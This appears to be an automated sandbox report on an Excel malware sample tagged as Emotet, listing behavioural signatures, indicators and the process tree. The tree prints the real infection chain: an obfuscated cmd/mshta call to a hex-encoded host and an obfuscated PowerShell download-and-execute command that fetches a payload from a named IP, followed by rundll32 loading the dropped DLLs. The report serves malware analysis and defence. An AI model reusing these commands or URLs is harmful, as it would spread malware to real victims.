Analysis
- max time kernel
4265058s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
17/01/2022, 23:28
General
- Target f403319e2d4811db7ed4abb114b225f9.xls
- Size 128KB
- Sample220117-3f1cwaecgp
- SHA256 5feb30d01fb35d5fde34eb531e533bbfe6870e26612f2b397214636aed65988d
Malware Config
Extracted
-
hta
-
hta.dropper
http://0xb907d607/cc.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f403319e2d4811db7ed4abb114b225f9.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdqsty\xbtn.kfj",SiMPRm8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bdqsty\xbtn.kfj",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3764 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 360 -p 3764 -ip 37641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/660-149-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-153-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-140-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-141-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-142-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-143-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-144-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-145-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-146-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-147-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-148-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-139-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-150-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-151-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-134-0x00007FFD02670000-0x00007FFD02680000-memory.dmp
memory/660-138-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-215-0x0000018E32410000-0x0000018E32414000-memory.dmp
memory/660-155-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-156-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-158-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-157-0x0000018E32410000-0x0000018E32412000-memory.dmp
memory/660-159-0x0000018E32410000-0x0000018E32414000-memory.dmp
memory/660-214-0x0000018E32410000-0x0000018E32414000-memory.dmp
memory/660-212-0x0000018E32410000-0x0000018E32414000-memory.dmp
memory/660-213-0x0000018E32410000-0x0000018E32414000-memory.dmp
memory/660-137-0x00007FFD02670000-0x00007FFD02680000-memory.dmp
memory/660-136-0x00007FFD02670000-0x00007FFD02680000-memory.dmp
memory/660-133-0x00007FFD02670000-0x00007FFD02680000-memory.dmp
memory/660-135-0x00007FFD02670000-0x00007FFD02680000-memory.dmp
memory/2600-186-0x0000000004E81000-0x0000000004EA3000-memory.dmp
memory/2600-194-0x00000000051F1000-0x0000000005213000-memory.dmp
memory/2600-190-0x0000000005071000-0x0000000005093000-memory.dmp
memory/2600-188-0x0000000005011000-0x0000000005033000-memory.dmp
memory/2600-184-0x0000000004C91000-0x0000000004CB3000-memory.dmp
memory/2600-182-0x0000000004601000-0x0000000004623000-memory.dmp
memory/2792-200-0x0000000002C21000-0x0000000002C43000-memory.dmp
memory/2792-210-0x0000000004E41000-0x0000000004E63000-memory.dmp
memory/2792-208-0x0000000004D51000-0x0000000004D73000-memory.dmp
memory/2792-206-0x0000000004C71000-0x0000000004C93000-memory.dmp
memory/2792-204-0x0000000004C11000-0x0000000004C33000-memory.dmp
memory/2792-202-0x0000000004A31000-0x0000000004A53000-memory.dmp
memory/3220-164-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-169-0x0000020E7B420000-0x0000020E7B422000-memory.dmp
memory/3220-165-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-172-0x0000020E7B950000-0x0000020E7B994000-memory.dmp
memory/3220-171-0x0000020E7B426000-0x0000020E7B428000-memory.dmp
memory/3220-167-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-170-0x0000020E7B423000-0x0000020E7B425000-memory.dmp
memory/3220-163-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-168-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-162-0x0000020E796B0000-0x0000020E796B2000-memory.dmp
memory/3220-166-0x0000020E7B3C0000-0x0000020E7B3E2000-memory.dmp
memory/3220-181-0x0000020E7BA20000-0x0000020E7BA96000-memory.dmp
memory/3764-160-0x000001C36BF98000-0x000001C36BFA0000-memory.dmp
memory/3960-177-0x0000000004821000-0x0000000004843000-memory.dmp
memory/3960-178-0x0000000004843000-0x0000000004844000-memory.dmp
memory/4004-196-0x0000000002B91000-0x0000000002BB3000-memory.dmp